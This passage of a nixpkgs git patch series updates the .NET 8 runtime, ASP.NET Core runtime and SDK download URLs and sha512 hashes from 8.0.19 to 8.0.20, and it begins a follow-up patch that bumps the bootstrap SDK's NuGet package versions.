-        hash = "sha512-a0r+fc5qsucGLLSFxGEm3OnP2wADch4NiIbM+qmm3uw+66+KTeaevklGOUDGyO9a3cRRLZwiY9gXELk09BuR6A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.20/aspnetcore-runtime-8.0.20-linux-arm.tar.gz";
+        hash = "sha512-GI3R8sTr6JMqoyVInQGSNlYdIhkki382gBYJtCPOzPa1tv+vDtNl+xmy2gtUN4tRRdnoevXNlfpG+nxZXzy+Qg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-arm64.tar.gz";
-        hash = "sha512-zBRQPlwdlKMz/YBI9ih2D23ysqzU4NXvRly7/ME1F3U9b9Wx1f5LOLB3BEGKcT4TOABUU6fLuPs/MAdg0A/G5g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.20/aspnetcore-runtime-8.0.20-linux-arm64.tar.gz";
+        hash = "sha512-F7AdYwmJnupAIA/ESctgbfVUHFgCuXPCHnHX9VObcss14trzi9nhfsbcz7I8PBev2x5/BfsT8QcBVh0uALGWRQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-x64.tar.gz";
-        hash = "sha512-lQP+hGJ3Fsud8CxkjjSXHG7E1EaG8hO8b2vXS8VP+0HvJy+9LIqj8KMJsgZkeWwS+cd7E3AV+EWBrCZa8vIWhw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.20/aspnetcore-runtime-8.0.20-linux-x64.tar.gz";
+        hash = "sha512-IocT88NgDEnnkk4m3IYRXJZ0tTCLRFFKU/Zw+nhQOKqIXq2M0sHBhQ0VZbaJqVqS6X9HLYZCmTDb+xFKpgIOtw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-musl-arm.tar.gz";
-        hash = "sha512-fOY8CoBCDB7T+ylYy0oj10/yXvzvCmeP93H4LDU5ySg/1txVQDoKtMlcuigGp24MjXhkvr6Y2JFP773u+XBJJg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.20/aspnetcore-runtime-8.0.20-linux-musl-arm.tar.gz";
+        hash = "sha512-y2JY3VMirftGTz0MBVNPxP0+LAm/+d2E62UiFh3nfqYHWslZ086aaQFRT7t916ohcp78OgqaG0AUDBG3ZBrL1Q==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-musl-arm64.tar.gz";
-        hash = "sha512-TGVuirBIgvdMkfeTEXTwg7Ju2QR4vPyQmEsXg9T8pr6x0CHsBEafrmEOuwLfc/v6WK898ejVLL9eBoy/NBiNIQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.20/aspnetcore-runtime-8.0.20-linux-musl-arm64.tar.gz";
+        hash = "sha512-8Q4ZN592YR83btGbcB3MKjQHzYOlfYBvmSkpWpAVP6KPxidA+OXDQJSpVeg0pwS/QBsJk/JSig7i9dnPh2F5uw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-musl-x64.tar.gz";
-        hash = "sha512-7YmdUku5ok0MPK/e1tD0bsYghX89i0Oq8In+hgb6hsJehdksX+6aAW1Bp13XbDA+LtwtM5PA603DhsWuNjTCLw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.20/aspnetcore-runtime-8.0.20-linux-musl-x64.tar.gz";
+        hash = "sha512-dFje2NJ1SZ0Bkq2olrBCUBgwwsKYWVgeLi2x02u8ZSryLzACnQhmIM0cKnJpq5TQ69lOK01ZkJYomUbvOQNRMg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-osx-arm64.tar.gz";
-        hash = "sha512-Dd8cdJjFKLIJgmOz0wr67QtARqorQ9XHqDdAOh5VgzXBqViqhZtJjdKiU6851B8YHLJpqukc2N0QO2SgYJ+YQQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.20/aspnetcore-runtime-8.0.20-osx-arm64.tar.gz";
+        hash = "sha512-79IqhUjjfn2fAhTFrG+TLEUqMDgHlow4xbDgQzs2rUY9V1Be/pdKzv4Nk164br2y9xCqmnQrf0lYhZ5HW0frxA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-osx-x64.tar.gz";
-        hash = "sha512-msIOtqYmFd+4LFZXwRWHtiHz5/DHxt0xEd8GFIIJLWPBy1T9Ka2w/kOljGPrLKitMi98cixuR7JLeDhf65PqRQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.20/aspnetcore-runtime-8.0.20-osx-x64.tar.gz";
+        hash = "sha512-U53FTV0qVC1W2loz9KNr0EyvA805P9xxD/82ES2cyQ0f1fcOE0uFFVAGS8AKka9hrsL/SZOrh7F8Qc63XvG18Q==";
       };
     };
   };
 
   runtime_8_0 = buildNetRuntime {
-    version = "8.0.19";
+    version = "8.0.20";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-arm.tar.gz";
-        hash = "sha512-sqsF9qKc/yuEQCEbxZGvCTD7Hp0IKxgLleYbfU4bP3n9KnKbKbqrcRSHgNksZGGOz4xWqM86ymIq+yn0h3Adgg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.20/dotnet-runtime-8.0.20-linux-arm.tar.gz";
+        hash = "sha512-OhX2U53Nqx2JZeI+hSrymYrYaN3GzubM1GCnfZ2hjfgsazcw8zZ7kLH3A4+T1m9VMk5e/Q986l+E3HfXVjCy5Q==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-arm64.tar.gz";
-        hash = "sha512-E/VgfaousPmg+2o2GT0oq8lFQgivVXPai8X+9cvrcLGH3q2valKz1G/cxZyFZ9t3wpN3XP12pD6B/5nEtCUFjA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.20/dotnet-runtime-8.0.20-linux-arm64.tar.gz";
+        hash = "sha512-WP0Zr+zl5BvvDsrxUQVNdH0T+Qjzpifg/bc7hf9Au7XSq6hapD7gbVFblZHLzdT4esG050kj3KiU35t/xZlR+w==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-x64.tar.gz";
-        hash = "sha512-D2buVk/JqGuOrlQD9DGvWVZeYvXrWfblA3fnLFitJFUts7cuz9gkuFCkI0+u2yE5g7icxHk3L8Q2pVP7CGu5qA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.20/dotnet-runtime-8.0.20-linux-x64.tar.gz";
+        hash = "sha512-S4ARd+AJ7HENXiURUAqmC+yVgRrdUP3FmwClxIaEDGbwDEjycs96L4Ep7RWOxbiH0d1gWU5hL3SbpI/PSK+c0g==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-musl-arm.tar.gz";
-        hash = "sha512-PVaVISyjZ0XjqelPUn0krVhdOL6hcfectHIl/wEEx8b4KBXDFpg+Er5UJquSsmB1XTtE3hRHxqsiVjJuhWFyEw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.20/dotnet-runtime-8.0.20-linux-musl-arm.tar.gz";
+        hash = "sha512-A7oEEe/iG6JKAJo4CpiujBP7knH2mmCGuLmGMD7A2FCWfWy2vjGmn0RakyI+MYfm64nvf3PmgvDc67ZUw8Fd3A==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-musl-arm64.tar.gz";
-        hash = "sha512-iOLYHKbsUtB/5xA3LQZPKjCJVzXHZNLZrcFI5OR//Iqjd2EDKZfvfTF8KevKvdqcoKmd0fpfF7nslrxtNKiGOw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.20/dotnet-runtime-8.0.20-linux-musl-arm64.tar.gz";
+        hash = "sha512-MhS3znevvLh+W6qqS4i+7VQ9vF8s391ytkccudzRvzxWzGfeqaIVDTDeoO8MWFwEnbFyQ9nsYT75KFCeudZLTA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-musl-x64.tar.gz";
-        hash = "sha512-NvvF7er4ec5DBE4eEAAgfyKfLxK+5MNSETBHaYAJHIMqdBDc9fN3neITSYeu3C+j94R9v5oxPWJ/IJS/vNMqFg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.20/dotnet-runtime-8.0.20-linux-musl-x64.tar.gz";
+        hash = "sha512-l6bO7rPRMsfPKjyxCSMEwCULN2yCylDLCyeJ5888XgTqJcZkRH+SZtoGDk9XP9un7XX8V1lhqIOqMzD8x5XXuA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-osx-arm64.tar.gz";
-        hash = "sha512-FLRqUrgqF5zF0Sk/S8CWgFFHHw5is341Jaj3QR0pkP4Gds4OF/5QsrJIgA7rPRvZvYO+w6UntnDYJeGkxD6Pjg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.20/dotnet-runtime-8.0.20-osx-arm64.tar.gz";
+        hash = "sha512-Racowrq4laEPg2p2ne1IPw9XIAaAIPw16QJw22wShR0rqz1oeb8hIrTKGMCvwqV46gwVJ/hIPAVymIueLyO2Dw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-osx-x64.tar.gz";
-        hash = "sha512-utNVjAqIbe35M+ZUKue0G3BhI26hRBcLOeD76bYVunbZ8GVt3Rub6J75MviU7enhtQMC7Qk+oNigDwSuYTZLyw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.20/dotnet-runtime-8.0.20-osx-x64.tar.gz";
+        hash = "sha512-NuVPrATi61Gl7IYlGXggAAc0EAPN000hKW5LhsdcX9Fsux+FIte7VX9Rr66F53RjT6mkfdlQzxhYI24tjJxufg==";
       };
     };
   };
 
   sdk_8_0_4xx = buildNetSdk {
-    version = "8.0.413";
+    version = "8.0.414";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-arm.tar.gz";
-        hash = "sha512-oC4e1BDUfptlEiZ6y8DNAxW3kYYXrEDczBTsd4mjMbZ2kPBZ9BEruHljP9bxVkVyXdmUM2f38T3z7c15+hwoRg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.414/dotnet-sdk-8.0.414-linux-arm.tar.gz";
+        hash = "sha512-NijaK5Q4ytWNO9/Ra/3Uvvqbdl2M+/HDltKaKL+ZEw9Y8tsWWPyxbQTCT8vGEHjF1RANvm6g7emmJzJlXAaviQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-arm64.tar.gz";
-        hash = "sha512-eXLic4uNHGtPMvU++U7ny+0Q1gyDrsGQxOmPgj03rv72Ke+ePEyMJrBC/oHgo0qLJtb4EuDJMnRuZqz5UYO4fw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.414/dotnet-sdk-8.0.414-linux-arm64.tar.gz";
+        hash = "sha512-IQJRV3BfZ8nUiXr2as+JlaszZxu27VIRf4ah282qGvsEWcXnFBzlyGOvcXOL2c+eJwo1ttQDRKnoMAtBwd8D7Q==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-x64.tar.gz";
-        hash = "sha512-8XM0Z1GykiiHuy+x60j8iN+axiy36OrGl/mkzeF62E+SbdAvuolpaPFCW1ZvujEnt4HavrdKCI7SmpUdQn4Xig==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.414/dotnet-sdk-8.0.414-linux-x64.tar.gz";
+        hash = "sha512-vfaxUfeHrFfTk+Yl6Lj8jhmsdZAudiJ9pzbyDgQs9/+Yv9GmZpt3/ep7/meKDyMQPgys4duD6a7laMzW8bWyZA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-musl-arm.tar.gz";
-        hash = "sha512-ksBoosq0fxlR5M+CT2M7+LbshfItMoguDslDwsPUajlGA8wMNnSLgp5Z5y/G1yM8UxVvDPE5jpQQfg9wCM8E9A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.414/dotnet-sdk-8.0.414-linux-musl-arm.tar.gz";
+        hash = "sha512-zVdA2yF3ijrCNcOBXkG5dynzgtNUd1hpB1occ49zwNHJkU5gnEqJX2Nc+3E2xLhdca3DapbkXGnPH9MyDqUqtQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-musl-arm64.tar.gz";
-        hash = "sha512-E4Dd/ccVuDHkWe5IY22KKomqbDSFfkpCimPv/KtA+Iz2xyoHb5shDElsOb3iTdF8Hbn3sRDnJBdOOft0j45LUA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.414/dotnet-sdk-8.0.414-linux-musl-arm64.tar.gz";
+        hash = "sha512-/F5yjOvPhSr3eBn7y8Q8ps2XRtM+YeP+XQdI06Z1Ejh7851Klxg+Q97f99GwiU4p8XKt94Wn9Pek3KY1kvLyBQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-linux-musl-x64.tar.gz";
-        hash = "sha512-FJDoBh2GZTc1Bts8u/ijC3t9mYhN4C1PbnrOWFLhak+eBhpmir7BzAryHk1aP6Hu6AS2DSSffVaDY7ue4avauQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.414/dotnet-sdk-8.0.414-linux-musl-x64.tar.gz";
+        hash = "sha512-QpoGAT+8bPVezqfrxcQps8tBXILuuTfavX9G8ChxnFUBhfOMlzIPCCXPW76awHp7TSK3DvQnJh8b9oapjRiC6A==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-osx-arm64.tar.gz";
-        hash = "sha512-/arqXn//K62/yJS6EXEWp7iKjMBFd86uCgC02MmupTcks6RF3w0oyLF3GskrYrnMaIlcmP8Xkeq2+KPPGb/9AQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.414/dotnet-sdk-8.0.414-osx-arm64.tar.gz";
+        hash = "sha512-jopFLqouKBlesbsz4Nm/8x4iPkfQ+kdhujOaR6ZzbwAQE9wSFpW1gIg4RZIePBFR1f1Gk+vK78B/DWUAoMAeNg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.413/dotnet-sdk-8.0.413-osx-x64.tar.gz";
-        hash = "sha512-upOPyvo0MhPC6Bk25MM0Ns0Vsr3N6+g9fQBdv4To8I7KTcSohhUs/QyELxeBY2fj77gTE/ws5L/9Gdau30XTIg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.414/dotnet-sdk-8.0.414-osx-x64.tar.gz";
+        hash = "sha512-39u4+RJKKWRqVTQ3mM5mdQ0nxevlPbHtedzE9fF4X21LCliCAsZSd6FqNo12iMmokSL/+qqDzZRQCkc5XvWE3g==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -743,39 +743,39 @@ rec {
   };
 
   sdk_8_0_3xx = buildNetSdk {
-    version = "8.0.316";
+    version = "8.0.317";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-arm.tar.gz";
-        hash = "sha512-J+lmqC3341jy5E6HVt2pT4Y8P3AvOA4ee9wV4oR81ZB8mP2r9ZtsGm3GrP5VjtM3Lif9rhpV4tqrqHOIbbGNHA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.317/dotnet-sdk-8.0.317-linux-arm.tar.gz";
+        hash = "sha512-btSKmf2qXLgCVt4kP5TpocDIepIBNBJC6d4NgiKsNHW1UH0XPbyBaXSk+dGkiuN1ywqJW2K6ihKWNQ14Le2JMg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-arm64.tar.gz";
-        hash = "sha512-AW3tsc75D6zWwWCVwJTCRM+nAo/uCpPycOcDOjpNoiTdgh6OxWPfe/pVUASXwBGBz7WLgInqzfl1HrLoUs7Zrg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.317/dotnet-sdk-8.0.317-linux-arm64.tar.gz";
+        hash = "sha512-8XZBfZPjhz0QGiL7nbnMtESwGFnNG7pl6ZHHEADU96R17gzHIKHgefnmBauxkO5/RcgJZQO8/cV6NHIUtcopUQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-x64.tar.gz";
-        hash = "sha512-5BBlsDpFocllnuRLfvEFpdEnihAZWtqxpvDIp4YaOw1YbrgPBrcUFfRYfq274wT/+qhqwC1StAiHBaroRaZh5w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.317/dotnet-sdk-8.0.317-linux-x64.tar.gz";
+        hash = "sha512-F1utSZ7RQ3TePWcm8Pog0r9dlLIO7V4OA4hkfXZc9KYYPiK/VZ4h719ffWqn1G0gxwjaPjhnZUOKIwFKozSMWQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-musl-arm.tar.gz";
-        hash = "sha512-GCJApZWanBSxPFgU/hLEq0dARYifPK/GqaHyoT/Tixz8piQ1Gqlktflg/8tcRLuYEp7y2e70RUp/6sAXU4PknQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.317/dotnet-sdk-8.0.317-linux-musl-arm.tar.gz";
+        hash = "sha512-8dpOUvpyrfw2Aqyobtrt25vsjp0vHhBDtbl1Z+hTxnNhf2hBS9kEUXu1ee8sGj6dbwqobaUlrKxg4Z6vQaXV2A==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-musl-arm64.tar.gz";
-        hash = "sha512-HcFgpwPcyB4a8q6kL0FBkaM4R2YyIZp2JTbB0iFP4yC95cx94FspDZonsYce+1bFwd75qXdsQQG0AM3UMcnpRg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.317/dotnet-sdk-8.0.317-linux-musl-arm64.tar.gz";
+        hash = "sha512-J4WXc9Bw7dAp04WMnk8uxibL5iyxOWumf6K3BDXF0jZkOMnkNTQlRFOjRe616kdvdfl4JnHKrxefKGlxXZUZhA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-linux-musl-x64.tar.gz";
-        hash = "sha512-/UTCfDKOVgSSl7K9XXqh/DJB+Gd4CL9iT4qmlVu7eyAtSWlAS82BNK3aUicokHP7xpGmwyCc1loe0BtFCcA6SA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.317/dotnet-sdk-8.0.317-linux-musl-x64.tar.gz";
+        hash = "sha512-lXZZvAC1QjSDbUuX/ciF9UMYDAj5cXOFVxkfh7DCXyrmlCJYpMn07T/aRbLe+92KwSnEn2UXDzhUeZ2maLcLAQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-osx-arm64.tar.gz";
-        hash = "sha512-Rs3Wimx5ldX6ioIre9TYc4FlaxXj9aI1jrUPo873lSzXDsrygsOnkL+ck+mWacdhd02DBMtoEheYh6/m3L17vg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.317/dotnet-sdk-8.0.317-osx-arm64.tar.gz";
+        hash = "sha512-/UCk79i8J2vNY5BgB1Jc7Hjt7eBRdfwql2Hr5lgR7jQLKYkKGhZQqWZqQWf8y/zYhBWFMzDnH7ZYmiSsrwvxJg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.316/dotnet-sdk-8.0.316-osx-x64.tar.gz";
-        hash = "sha512-uc8FiUjVuz5wMfqDP1IhaiPc9A2mD3vHVLcxVnCFc9WGjyNIGGo7+rWxqYNBxqVfgz7IsMNny80UewEip9gFrQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.317/dotnet-sdk-8.0.317-osx-x64.tar.gz";
+        hash = "sha512-wnrUkKLL6u0eIwo6p6SxEhgnRKQ5gFJfjPCZ7WgPMyhAlVrsgN+z9suND4GOgVZ9bo3Sz/LOlCkTptDYfzr2ng==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -784,39 +784,39 @@ rec {
   };
 
   sdk_8_0_1xx = buildNetSdk {
-    version = "8.0.119";
+    version = "8.0.120";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-arm.tar.gz";
-        hash = "sha512-XlKdFdSfvXbJiMSL4zKr5ALd1UJClUJAwvHLYkZSd1kujMdjTxnNseQgBYLKd3ogu3Yc+PyYRV5aupzp440TjQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.120/dotnet-sdk-8.0.120-linux-arm.tar.gz";
+        hash = "sha512-VOUr4dIsQTlGzhcFY2NkgsjLrykFPGk0/jteVdaAwOlZsUWpxTaiTwePwo9Lmi4a39ee3UTtIIvrLUAA2uQ/SA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-arm64.tar.gz";
-        hash = "sha512-y6QVS1UcGCsRhc34mlb/UrtGoTXzS99kGrE0DeqyPubQ8kwHDwt6WuIBBdcdwxURfyit4v+jLCJCvbLpyCUszQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.120/dotnet-sdk-8.0.120-linux-arm64.tar.gz";
+        hash = "sha512-RXG93cvaH9BkIZuM/aLMWLRMvjdZXTePf4E3tajrFsP1IY0JxCBpuKvXox9tdWvI/Sw3s75U3U8Kev4gEroKBg==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-x64.tar.gz";
-        hash = "sha512-L/7DOAoqwj6AHHx1B7OWL/0jKRGtBgJLdLl92stvRoBNj2MZ60x/x7Al9xZ3fUcRAhnK7rwwo7H+kiMGb/ioyg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.120/dotnet-sdk-8.0.120-linux-x64.tar.gz";
+        hash = "sha512-IYTw8G5rBj4MWt9iGQ+B8ATGMc+fNAAR4lUX7OsDzTWpTBh2Nm5acwv5M10nNOG3eWytGWQVS8Tcpaunj8Znfg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-musl-arm.tar.gz";
-        hash = "sha512-XVXCZxX9srBQJE4TZeW3FZ0gbLTsvgXUDxbjtYbVp/vbSQQSr3IXF77mHuF8FtcJyOUY3TywxRxtEcKQp2mgrg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.120/dotnet-sdk-8.0.120-linux-musl-arm.tar.gz";
+        hash = "sha512-M4wFGI23FBB2L6kKuc3oObIKqJ0oD9weOL3/2eFtdx276rSPntZIj26qw4QZRoDrHS3zlKvWwwkyRns4j/P7bg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-musl-arm64.tar.gz";
-        hash = "sha512-JV5KFwlIKBYCHLwrn7cC3BG9nueksa6M3YnbV202M5moD2Fvftq2RXerNNwGf2BezyR2BuQX26TjxkjrtOppSQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.120/dotnet-sdk-8.0.120-linux-musl-arm64.tar.gz";
+        hash = "sha512-xur3K9S/URIQoUqlyXLrJ1EXbheLOxKfd93GolcBPHW7+iLHz8LcOKLB7vf7c4beJR8xiFb/+3a3ba3afOXyRA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-musl-x64.tar.gz";
-        hash = "sha512-HO040qC2vVYJdccMiHBotk4JyAUjlZFk/wXw2VaUqbe+c/jrAt7LknGDLpIEtEZkNOo+LIiqujufyshTgzbUzw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.120/dotnet-sdk-8.0.120-linux-musl-x64.tar.gz";
+        hash = "sha512-sRIq3M4ltCP9ezgbuHa6c04ueHrvV18Xp4gT0A2Ypb7ATRG6MPza9gLZ6/HZhUukOAyAdo43cxjhESuI2fY2Ww==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-osx-arm64.tar.gz";
-        hash = "sha512-NNERmqe/mqzEJgaZOu8C0pD13B5snm2aTbCb9JIRe9HX4V1Qt7hp8AlUzUqpfol6HoXvRe9S79TtLoLdKAnpgA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.120/dotnet-sdk-8.0.120-osx-arm64.tar.gz";
+        hash = "sha512-d95WUshteRi1HCAUBxDcbpeOza9G4HQWPbR15D2SrClLUN8zQ4laxkgKfNqXUan7HiaDvDgcNvC5Wxu9pQt0TA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-osx-x64.tar.gz";
-        hash = "sha512-A9H6KOJDmrTSCoFRjdOWOSlS80A4AzXQ9i8JRWDmoiQx1Gn0UDd0CtuAfXwCT0KAcJ+XXgUUBrR2nfIlGoHd+A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.120/dotnet-sdk-8.0.120-osx-x64.tar.gz";
+        hash = "sha512-74HY3JOfgDWzszkkOVODCKr5EP0XmP71t8zKdXgYpt/HsjW51y2/Ime1abqgro4kKwhfoKHQOEXLgTzfKRMssA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From 7f27bdd58d82c20489414dee7fc4df483a831a37 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 10 Sep 2025 14:09:38 +0000
Subject: [PATCH 4499/4511] dotnetCorePackages.dotnet_8.vmr: 8.0.19 -> 8.0.20

(cherry picked from commit 5c2607e40b0b6b1e80ccaac4db111ecd152ec016)
---
 .../compilers/dotnet/8/bootstrap-sdk.nix      | 552 +++++++++---------
 pkgs/development/compilers/dotnet/8/deps.json |  48 +-
 .../compilers/dotnet/8/release-info.json      |   6 +-
 .../compilers/dotnet/8/release.json           |  12 +-
 4 files changed, 309 insertions(+), 309 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
index 6e2149059909..f8c752fed0dd 100644
--- a/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
@@ -11,43 +11,43 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "8.0.18";
-      hash = "sha512-cl1DhWFUTOA8O139k5ytpW4ttBJRSllzfpQ/sOXHg+r0ZYm2HZu4M4iMA70yHnqp0GtuGxqUBJ2duJkk4ydRWw==";
+      version = "8.0.19";
+      hash = "sha512-P0MXwA3k7np2YGyPmYZSWIICTCwzGGka350Xqa+EucRAn9aoyurrm+ZjCJKzA+N9gRc9BaFLaE8p4vLDzQJSww==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "8.0.18";
-      hash = "sha512-rMa3+s+Qy5BhAw+Zj8tDaNtcbMJcn/L6SGQ/4/qMca+JxTdWUruzCscAgA35wNLOKJ806A0rw26rhV7FdZFK0A==";
+      version = "8.0.19";
